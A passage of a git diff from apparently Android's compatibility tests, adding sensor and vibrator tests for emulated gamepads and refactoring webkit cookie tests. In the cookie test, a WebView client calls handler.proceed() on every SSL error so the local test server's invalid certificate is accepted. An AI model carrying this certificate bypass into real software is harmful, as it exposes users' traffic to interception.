+    private final Object mLock = new Object();
+
+    private class Callback extends SensorManager.DynamicSensorCallback {
+        private Sensor mSensor;
+        private CountDownLatch mConnectLatch = new CountDownLatch(1);
+        private CountDownLatch mDisconnectLatch = new CountDownLatch(1);
+
+        Callback(@NonNull Sensor sensor) {
+            mSensor = sensor;
+        }
+
+        @Override
+        public void onDynamicSensorConnected(Sensor sensor) {
+            synchronized (mSensor) {
+                if (mSensor.getId() == sensor.getId()) {
+                    mConnectLatch.countDown();
+                }
+            }
+        }
+
+        @Override
+        public void onDynamicSensorDisconnected(Sensor sensor) {
+            synchronized (mSensor) {
+                if (mSensor.getId() == sensor.getId()) {
+                    mDisconnectLatch.countDown();
+                }
+            }
+        }
+
+        public boolean waitForConnection() {
+            try {
+                return mConnectLatch.await(CONNECTION_TIMEOUT_SEC, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            return false;
+        }
+
+        public void assertNoDisconnection() {
+            assertEquals(1, mDisconnectLatch.getCount());
+        }
+    }
+
+    private class InputTestSensorEventListener implements SensorEventListener {
+        private CountDownLatch mAccuracyLatch;
+        private int mAccuracy = SensorManager.SENSOR_STATUS_NO_CONTACT;
+        private final BlockingQueue<SensorEvent> mEvents = new LinkedBlockingQueue<>();
+        InputTestSensorEventListener() {
+            super();
+            mAccuracyLatch = new CountDownLatch(1);
+        }
+
+        public SensorEvent waitForSensorEvent() {
+            try {
+                return mEvents.poll(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                fail("unexpectedly interrupted while waiting for SensorEvent");
+                return null;
+            }
+        }
+
+        public int waitForAccuracyChanged() {
+            boolean ret;
+            try {
+                ret = mAccuracyLatch.await(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                ret = false;
+                Thread.currentThread().interrupt();
+            }
+
+            synchronized (mLock) {
+                return mAccuracy;
+            }
+        }
+
+        @Override
+        public void onSensorChanged(SensorEvent event) {
+            synchronized (mLock) {
+                try {
+                    mEvents.put(event);
+                } catch (InterruptedException ex) {
+                    fail("interrupted while adding a SensorEvent to the queue");
+                }
+            }
+        }
+
+        @Override
+        public void onAccuracyChanged(Sensor sensor, int accuracy) {
+            synchronized (mLock) {
+                mAccuracy = accuracy;
+            }
+            if (mAccuracyLatch != null) {
+                mAccuracyLatch.countDown();
+            }
+        }
+    }
+
+    /**
+     * Get a SensorManager object from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return SensorManager object in specified InputDevice
+     */
+    private SensorManager getSensorManager(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+                SensorManager sensorManager = inputDevice.getSensorManager();
+                assertNotNull("getSensorManager returns null", sensorManager);
+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return sensorManager;
+            }
+        }
+        return null;
+    }
+
+    private void bumpSensorsData(int[] sensorVector) {
+        final int step = SAMPLE_STEP;
+        for (int i = 0; i < sensorVector.length; i++) {
+            sensorVector[i] = sensorVector[i] + step;
+        }
+    }
+
+    private float[] getExpectedSensorValue(Sensor sensor, int[] dataVector) {
+        float[] sensorValues = new float[dataVector.length];
+        for (int i = 0; i < dataVector.length; i++) {
+            switch (sensor.getType()) {
+                case Sensor.TYPE_ACCELEROMETER:
+                    sensorValues[i] = ((float) dataVector[i]) / ACCEL_RESOLUTION
+                            * GRAVITY_MS2_UNIT;
+                    break;
+                case Sensor.TYPE_GYROSCOPE:
+                    sensorValues[i] = ((float) dataVector[i]) / GYRO_RESOLUTION
+                            * DEGREE_RADIAN_UNIT;
+                    break;
+                default:
+                    break;
+            }
+        }
+        return sensorValues;
+    }
+
+    private void assertSensorDataEquals(float[] expected, float[] received) {
+        assertEquals("expected sensor data length is not same as received sensor data length",
+                expected.length, received.length);
+        for (int i = 0; i < expected.length; i++) {
+            assertEquals("Data index[" + i + "] not match", expected[i], received[i], TOLERANCE);
+        }
+    }
+
+    /**
+     * Simulate a sensor data sample from device.
+     * @param sensor sensor object for data to be injected
+     * @param dataVec sensor data vector
+     * @param timestamp sensor data timestamp and sync to be injected, 0 for no timestamp and sync
+     */
+    private void injectSensorSample(Sensor sensor, int[] dataVec, int timestamp) {
+        assertEquals("Sensor sample size is wrong", dataVec.length, SENSOR_VEC_LENGTH);
+
+        switch (sensor.getType()) {
+            case Sensor.TYPE_ACCELEROMETER: {
+                int[] evSensorSample = new int[] {
+                    EV_ABS, ABS_X, dataVec[0],
+                    EV_ABS, ABS_Y, dataVec[1],
+                    EV_ABS, ABS_Z, dataVec[2],
+                };
+                mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+                break;
+            }
+            case Sensor.TYPE_GYROSCOPE: {
+                int[] evSensorSample = new int[] {
+                    EV_ABS, ABS_RX, dataVec[0],
+                    EV_ABS, ABS_RY, dataVec[1],
+                    EV_ABS, ABS_RZ, dataVec[2],
+                };
+                mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+                break;
+            }
+            default:
+                return;
+        }
+        if (timestamp > 0) {
+            int[] evTimestamp = new int[] {
+                    EV_MSC, MSC_TIMESTAMP, timestamp,
+                    EV_SYN, 0, 0 };
+            mUinputDevice.injectEvents(Arrays.toString(evTimestamp));
+        }
+    }
+
+    private void testSensorManagerListenerForSensors(Sensor[] sensors) {
+        final InputTestSensorEventListener[] listeners =
+                new InputTestSensorEventListener[sensors.length];
+        int[] dataVector = new int[]{2535, -2398, 31345};
+        long[] lastTimestamp = new long[sensors.length];
+
+        for (int i = 0; i < sensors.length; i++) {
+            listeners[i] = new InputTestSensorEventListener();
+            assertTrue(mSensorManager.registerListener(listeners[i], sensors[i],
+                    SensorManager.SENSOR_DELAY_GAME, mSensorHandler));
+        }
+
+        long startTimestamp = SystemClock.elapsedRealtimeNanos();
+        for (int count = 0; count < RUNNING_SAMPLES; count++) {
+            bumpSensorsData(dataVector);
+            // when the listener's sampling interval is longer than sensor native sample interval,
+            // the listener get report for multiple sensor samples, inject multiple samples so
+            // sensor listener can get an event callback.
+            for (int hwTimestamp = 100000;
+                    hwTimestamp - 100000 < SAMPLING_INTERVAL_US;
+                    hwTimestamp += TIME_INTERVAL_US) {
+                // Inject sensor samples
+                for (int i = 0; i < sensors.length; i++) {
+                    if (i == sensors.length - 1) {
+                        injectSensorSample(sensors[i], dataVector, hwTimestamp);
+                    } else {
+                        injectSensorSample(sensors[i], dataVector, 0 /* timestamp */);
+                    }
+                }
+                SystemClock.sleep(TIME_INTERVAL_US / 1000);
+            }
+            // Check the sensor listener events for each sensor
+            for (int i = 0; i < sensors.length; i++) {
+                SensorEvent e = listeners[i].waitForSensorEvent();
+                assertNotNull("Sensor event for count " + count + " is null", e);
+                // Verify timestamp monotonically increasing
+                if (lastTimestamp[i] != 0) {
+                    final long diff = e.timestamp - lastTimestamp[i];
+                    assertTrue("Sensor timestamp " + e.timestamp + " not monotonically increasing!"
+                            + "last " + lastTimestamp[i], diff > TIME_INTERVAL_US);
+                }
+                lastTimestamp[i] = e.timestamp;
+                // Verify sensor timestamp greater than start Android time
+                assertTrue("Sensor timestamp smaller than starting elapsedRealtimeNanos",
+                        startTimestamp < e.timestamp);
+                assertSensorDataEquals(getExpectedSensorValue(sensors[i], dataVector),
+                        e.values);
+            }
+            // Check sensor onAccuracyChanged events are called
+            for (int i = 0; i < sensors.length; i++) {
+                assertEquals(SensorManager.SENSOR_STATUS_ACCURACY_HIGH,
+                        listeners[i].waitForAccuracyChanged());
+            }
+        }
+
+        for (int i = 0; i < sensors.length; i++) {
+            mSensorManager.unregisterListener(listeners[i]);
+        }
+    }
+
+    private Sensor getDefaultSensor(int sensorType) {
+        Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+        assertNotNull(sensor);
+        assertEquals(sensor.getType(), sensorType);
+        return sensor;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.gamepad_sensors_register;
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId, registerCommand);
+        mSensorManager = getSensorManager(mParser.readVendorId(resourceId),
+                mParser.readProductId(resourceId));
+        assertNotNull(mSensorManager);
+
+        mSensorThread = new HandlerThread("SensorThread");
+        mSensorThread.start();
+        mSensorHandler = new Handler(mSensorThread.getLooper());
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    @Test
+    public void testAccelerometerSensorListener() {
+        // Test Accelerometer sensor
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_ACCELEROMETER)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testGyroscopeSensorListener() {
+        // Test Gyroscope sensor
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testAllSensorsListeners() {
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+            getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testSupportedSensorTypes() {
+        final List<Integer> types = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+                Sensor.TYPE_GYROSCOPE);
+        for (int i = 0; i < types.size(); i++) {
+            List<Sensor> sensors = mSensorManager.getSensorList(types.get(i));
+            assertEquals("Sensor type " + types.get(i), 1L, sensors.size());
+        }
+    }
+
+    @Test
+    public void testUnsupportedSensorTypes() {
+        final List<Integer> supportedTypes = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+                Sensor.TYPE_GYROSCOPE);
+
+        for (int type = Sensor.TYPE_ACCELEROMETER; type <= Sensor.TYPE_HINGE_ANGLE; type++) {
+            if (!supportedTypes.contains(type)) {
+                List<Sensor> sensors = mSensorManager.getSensorList(type);
+                assertEquals(0L, sensors.size());
+                assertNull(mSensorManager.getDefaultSensor(type));
+            }
+        }
+    }
+
+    @Test
+    public void testDirectChannelAPIs() {
+        // Direct channel is not supported by input device sensor manager.
+        try {
+            final MemoryFile memFile = new MemoryFile("Sensor Channel", SHARED_MEMORY_SIZE);
+            SensorDirectChannel channel = mSensorManager.createDirectChannel(memFile);
+            // Expect returning a null channel when calling the API
+            assertNull(channel);
+        } catch (IOException e) {
+            fail("IOException when allocating MemoryFile");
+        }
+    }
+
+    @Test
+    public void testDynamicSensorAPIs() {
+        final List<Sensor> dynamicAccelerometers =
+                mSensorManager.getDynamicSensorList(Sensor.TYPE_ACCELEROMETER);
+        // Input device sensor manager doesn't expose any dynamic sensor
+        assertEquals(0, dynamicAccelerometers.size());
+
+        // Attempt to register regular sensor as dynamic sensor
+        final Sensor accelerometer = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
+        final Callback callback = new Callback(accelerometer);
+        mSensorManager.registerDynamicSensorCallback(callback);
+        // Dynamic call back is not supported, not connection or disconnection should happen.
+        assertFalse(callback.waitForConnection());
+        callback.assertNoDisconnection();
+        // Unregister the dynamic sensor callback shouldn't throw any exception.
+        mSensorManager.unregisterDynamicSensorCallback(callback);
+        // The isDynamicSensorDiscoverySupported API should returns false.
+        assertFalse(mSensorManager.isDynamicSensorDiscoverySupported());
+
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
new file mode 100644
index 0000000..202bb76
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
@@ -0,0 +1,265 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.os.CombinedVibrationEffect;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.VibratorManager;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputResultData;
+import com.android.cts.input.UinputVibratorManagerTestData;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test {@link android.view.InputDevice} vibrator manager functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceVibratorManagerTest {
+    private static final String TAG = "InputDeviceVibratorTest";
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private VibratorManager mVibratorManager;
+    private int mDeviceId;
+
+    /**
+     * Get a vibrator manager from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return VibratorManager object in specified InputDevice
+     */
+    private VibratorManager getVibratorManager(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+                VibratorManager vibratorManager = inputDevice.getVibratorManager();
+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return vibratorManager;
+            }
+        }
+        return null;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.google_gamepad_register;
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId, registerCommand);
+        mVibratorManager = getVibratorManager(mParser.readVendorId(resourceId),
+                mParser.readProductId(resourceId));
+        assertTrue(mVibratorManager != null);
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    /*
+     * Return vibration count
+     * @totalVibrations expected vibration times
+     * @timeoutMills timeout in milliseconds
+     * @return Actual vibration times
+     */
+    private int getVibrationCount(long totalVibrations, long timeoutMills) {
+        final long startTime = SystemClock.elapsedRealtime();
+        List<UinputResultData> results = new ArrayList<>();
+        int vibrationCount = 0;
+
+        while (vibrationCount < totalVibrations
+                && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+            SystemClock.sleep(1000);
+            try {
+                results = mUinputDevice.getResults(mDeviceId, "vibrating");
+                if (results.size() < totalVibrations) {
+                    continue;
+                }
+                vibrationCount = 0;
+                for (int i = 0; i < results.size(); i++) {
+                    UinputResultData result = results.get(i);
+                    if (result.reason.equals("vibrating") && result.deviceId == mDeviceId
+                            && (result.status > 0)) {
+                        vibrationCount++;
+                    }
+                }
+            }  catch (IOException ex) {
+                throw new RuntimeException("Could not get JSON results from HidDevice");
+            }
+        }
+        return vibrationCount;
+    }
+
+    /*
+     * Test with predefined vibration effects
+     * @resourceId The Json file contains predefined vibration effects
+     */
+    public void testInputVibratorManagerEvents(int resourceId) {
+        final List<UinputVibratorManagerTestData> tests =
+                mParser.getUinputVibratorManagerTestData(resourceId);
+
+        for (UinputVibratorManagerTestData testData : tests) {
+            // Vibration durations must be greater than 0
+            assertTrue(testData.durations.size() > 0);
+            // Only Mono or Stereo vibration effects are allowed
+            assertTrue(testData.amplitudes.size() == 1 || testData.amplitudes.size() == 2);
+
+            final long totalVibrations = testData.durations.size();
+            long timeoutMills = 0;
+            CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+
+            final int[] ids = mVibratorManager.getVibratorIds();
+            for (int i = 0; i < testData.amplitudes.size(); i++) {
+                // Verify each vibrator's amplitude array size is same as duration array size
+                assertTrue(testData.durations.size() == testData.amplitudes.valueAt(i).size());
+
+                final VibrationEffect effect;
+                if (testData.durations.size() == 1) {
+                    long duration = testData.durations.get(0);
+                    int amplitude = testData.amplitudes.valueAt(i).get(0);
+                    effect = VibrationEffect.createOneShot(duration, amplitude);
+                    // Set timeout to be 2 times of the effect duration.
+                    timeoutMills = duration * 2;
+                } else {
+                    long[] durations = testData.durations.stream()
+                            .mapToLong(Long::longValue).toArray();
+                    int[] amplitudes = testData.amplitudes.valueAt(i).stream()
+                            .mapToInt(Integer::intValue).toArray();
+                    effect = VibrationEffect.createWaveform(
+                        durations, amplitudes, -1);
+                    // Set timeout to be 2 times of the effect total duration.
+                    timeoutMills = Arrays.stream(durations).sum() * 2;
+                }
+
+                if (testData.amplitudes.size() == 1) {
+                    CombinedVibrationEffect mono = CombinedVibrationEffect.createSynced(effect);
+                    // Start vibration
+                    mVibratorManager.vibrate(mono);
+                } else {  // testData.amplitudes.size() == 2
+                    comb.addVibrator(ids[i], effect);
+                    if (i > 0) {
+                        // Start vibration
+                        CombinedVibrationEffect stereo = comb.combine();
+                        mVibratorManager.vibrate(stereo);
+                    }
+                }
+            }
+            // Verify we got expected numbers of vibration
+            assertEquals(totalVibrations, getVibrationCount(totalVibrations, timeoutMills));
+        }
+    }
+
+    @Test
+    public void testInputVibratorManager() {
+        testInputVibratorManagerEvents(R.raw.google_gamepad_vibratormanagertests);
+    }
+
+    @Test
+    public void testGetVibrators() {
+        int[] ids = mVibratorManager.getVibratorIds();
+        assertEquals(2, ids.length);
+
+        final Vibrator defaultVibrator = mVibratorManager.getDefaultVibrator();
+        assertNotNull(defaultVibrator);
+        assertTrue(defaultVibrator.hasVibrator());
+
+        for (int i = 0; i < ids.length; i++) {
+            final Vibrator vibrator = mVibratorManager.getVibrator(ids[i]);
+            assertNotNull(vibrator);
+            assertTrue(vibrator.hasVibrator());
+        }
+    }
+
+    @Test
+    public void testUnsupportedVibrationEffectsPreBaked() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+        for (int i = 0; i < ids.length; i++) {
+            comb.addVibrator(ids[i], VibrationEffect.createPredefined(
+                    VibrationEffect.EFFECT_CLICK));
+        }
+        CombinedVibrationEffect stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for unsupported effects
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+
+    @Test
+    public void testMixedVibrationEffectsOneShotAndPreBaked() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+        comb.addVibrator(ids[0], VibrationEffect.createOneShot(1000,
+                VibrationEffect.DEFAULT_AMPLITUDE));
+        comb.addVibrator(ids[1], VibrationEffect.createPredefined(
+                VibrationEffect.EFFECT_CLICK));
+        CombinedVibrationEffect stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for combination of OneShot and Prebaked.
+        // Prebaked effect is not supported by input device vibrator, if the second effect
+        // in combined effects is prebaked the combined effect will not be played.
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+
+    @Test
+    public void testMixedVibrationEffectsPreBakedAndOneShot() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+        comb.addVibrator(ids[0], VibrationEffect.createPredefined(
+                VibrationEffect.EFFECT_CLICK));
+        comb.addVibrator(ids[1], VibrationEffect.createOneShot(1000,
+                VibrationEffect.DEFAULT_AMPLITUDE));
+        CombinedVibrationEffect stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for combination of Prebaked and OneShot.
+        // Prebaked effect is not supported by input device vibrator, if the first effect
+        // in combined effects is prebaked the combined effect will not be played.
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+}
diff --git a/tests/tests/webkit/OWNERS b/tests/tests/webkit/OWNERS
index 903494a..2ddd237 100644
--- a/tests/tests/webkit/OWNERS
+++ b/tests/tests/webkit/OWNERS
@@ -1,5 +1,3 @@
 # Bug component: 76427
-changwan@google.com
-tobiasjs@google.com
 torne@google.com
 ntfschr@google.com
diff --git a/tests/tests/webkit/TEST_MAPPING b/tests/tests/webkit/TEST_MAPPING
new file mode 100644
index 0000000..1768625
--- /dev/null
+++ b/tests/tests/webkit/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWebkitTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 9f56724..16c0bd7 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -16,12 +16,15 @@
 
 package android.webkit.cts;
 
+import android.net.http.SslError;
 import android.platform.test.annotations.AppModeFull;
 import android.test.ActivityInstrumentationTestCase2;
 import android.webkit.CookieManager;
 import android.webkit.CookieSyncManager;
+import android.webkit.SslErrorHandler;
 import android.webkit.WebView;
 import android.webkit.ValueCallback;
+import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
 
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -43,6 +46,7 @@
     private WebView mWebView;
     private CookieManager mCookieManager;
     private WebViewOnUiThread mOnUiThread;
+    private CtsTestServer mServer;
 
     public CookieManagerTest() {
         super("android.webkit.cts", CookieSyncManagerCtsActivity.class);
@@ -68,6 +72,13 @@
         }
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mServer != null) {
+            mServer.shutdown();
+        }
+    }
+
     public void testGetInstance() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -100,8 +111,8 @@
         mCookieManager.setAcceptCookie(false);
         assertFalse(mCookieManager.acceptCookie());
 
-        CtsTestServer server = new CtsTestServer(getActivity(), false);
-        String url = server.getCookieUrl("conquest.html");
+        mServer = new CtsTestServer(getActivity(), false);
+        String url = mServer.getCookieUrl("conquest.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         Thread.sleep(500);
@@ -110,7 +121,7 @@
         mCookieManager.setAcceptCookie(true);
         assertTrue(mCookieManager.acceptCookie());
 
-        url = server.getCookieUrl("war.html");
+        url = mServer.getCookieUrl("war.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         waitForCookie(url);
@@ -122,7 +133,7 @@
         assertTrue(m.matches());
         assertEquals("0", m.group(1));
 
-        url = server.getCookieUrl("famine.html");
+        url = mServer.getCookieUrl("famine.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=0", mOnUiThread.getTitle()); // outgoing cookie
         waitForCookie(url);
@@ -132,7 +143,7 @@
         assertTrue(m.matches());
         assertEquals("1", m.group(1)); // value got incremented
 
-        url = server.getCookieUrl("death.html");
+        url = mServer.getCookieUrl("death.html");
         mCookieManager.setCookie(url, "count=41");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=41", mOnUiThread.getTitle()); // outgoing cookie
@@ -325,57 +336,59 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-        CtsTestServer server = null;
-        try {
-            // In theory we need two servers to test this, one server ('the first party')
-            // which returns a response with a link to a second server ('the third party')
-            // at different origin. This second server attempts to set a cookie which should
-            // fail if AcceptThirdPartyCookie() is false.
-            // Strictly according to the letter of RFC6454 it should be possible to set this
-            // situation up with two TestServers on different ports (these count as having
-            // different origins) but Chrome is not strict about this and does not check the
-            // port. Instead we cheat making some of the urls come from localhost and some
-            // from 127.0.0.1 which count (both in theory and pratice) as having different
-            // origins.
-            server = new CtsTestServer(getActivity());
 
-            // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
-            mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        // In theory we need two servers to test this, one server ('the first party')
+        // which returns a response with a link to a second server ('the third party')
+        // at different origin. This second server attempts to set a cookie which should
+        // fail if AcceptThirdPartyCookie() is false.
+        // Strictly according to the letter of RFC6454 it should be possible to set this
+        // situation up with two TestServers on different ports (these count as having
+        // different origins) but Chrome is not strict about this and does not check the
+        // port. Instead we cheat making some of the urls come from localhost and some
+        // from 127.0.0.1 which count (both in theory and pratice) as having different
+        // origins.
+        mServer = new CtsTestServer(getActivity(), /* secure */ true);
+        mOnUiThread.setWebViewClient(new WaitForLoadedClient(mOnUiThread) {
+            @Override
+            public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
+                // ignore the test server's invalid SSL cert
+                handler.proceed();
+            }
+        });
 
-            // Turn global allow on.
-            mCookieManager.setAcceptCookie(true);
-            assertTrue(mCookieManager.acceptCookie());
+        // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
 
-            // When third party cookies are disabled...
-            mOnUiThread.setAcceptThirdPartyCookies(false);
-            assertFalse(mOnUiThread.acceptThirdPartyCookies());
+        // Turn global allow on.
+        mCookieManager.setAcceptCookie(true);
+        assertTrue(mCookieManager.acceptCookie());
 
-            // ...we can't set third party cookies.
-            // First on the third party server we get a url which tries to set a cookie.
-            String cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("cookie_1.js", "test1", "value1"));
-            // Then we create a url on the first party server which links to the first url.
-            String url = server.getLinkedScriptUrl("/content_1.html", cookieUrl);
-            mOnUiThread.loadUrlAndWaitForCompletion(url);
-            assertNull(mCookieManager.getCookie(cookieUrl));
+        // When third party cookies are disabled...
+        mOnUiThread.setAcceptThirdPartyCookies(false);
+        assertFalse(mOnUiThread.acceptThirdPartyCookies());
 
-            // When third party cookies are enabled...
-            mOnUiThread.setAcceptThirdPartyCookies(true);
-            assertTrue(mOnUiThread.acceptThirdPartyCookies());
+        // ...we can't set third party cookies.
+        // First on the third party server we get a url which tries to set a cookie.
+        String cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
+        // Then we create a url on the first party server which links to the first url.
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
 
-            // ...we can set third party cookies.
-            cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("/cookie_2.js", "test2", "value2"));
-            url = server.getLinkedScriptUrl("/content_2.html", cookieUrl);
-            mOnUiThread.loadUrlAndWaitForCompletion(url);
-            waitForCookie(cookieUrl);
-            String cookie = mCookieManager.getCookie(cookieUrl);
-            assertNotNull(cookie);
-            assertTrue(cookie.contains("test2"));
-        } finally {
-            if (server != null) server.shutdown();
-            mOnUiThread.getSettings().setJavaScriptEnabled(false);
-        }
+        // When third party cookies are enabled...
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+        assertTrue(mOnUiThread.acceptThirdPartyCookies());
+
+        // ...we can set third party cookies.
+        cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
+        url = mServer.getLinkedScriptUrl("/content_2.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        waitForCookie(cookieUrl);
+        String cookie = mCookieManager.getCookie(cookieUrl);
+        assertNotNull(cookie);
+        assertTrue(cookie.contains("test2"));
     }
 
     public void testb3167208() throws Exception {
diff --git a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
index 784fe5c..2843011 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
@@ -19,92 +19,109 @@
 import android.content.Context;
 import android.net.ConnectivityManager;
 import android.net.Network;
-import android.util.Log;
 import android.webkit.PacProcessor;
-import android.webkit.WebViewFactory;
-
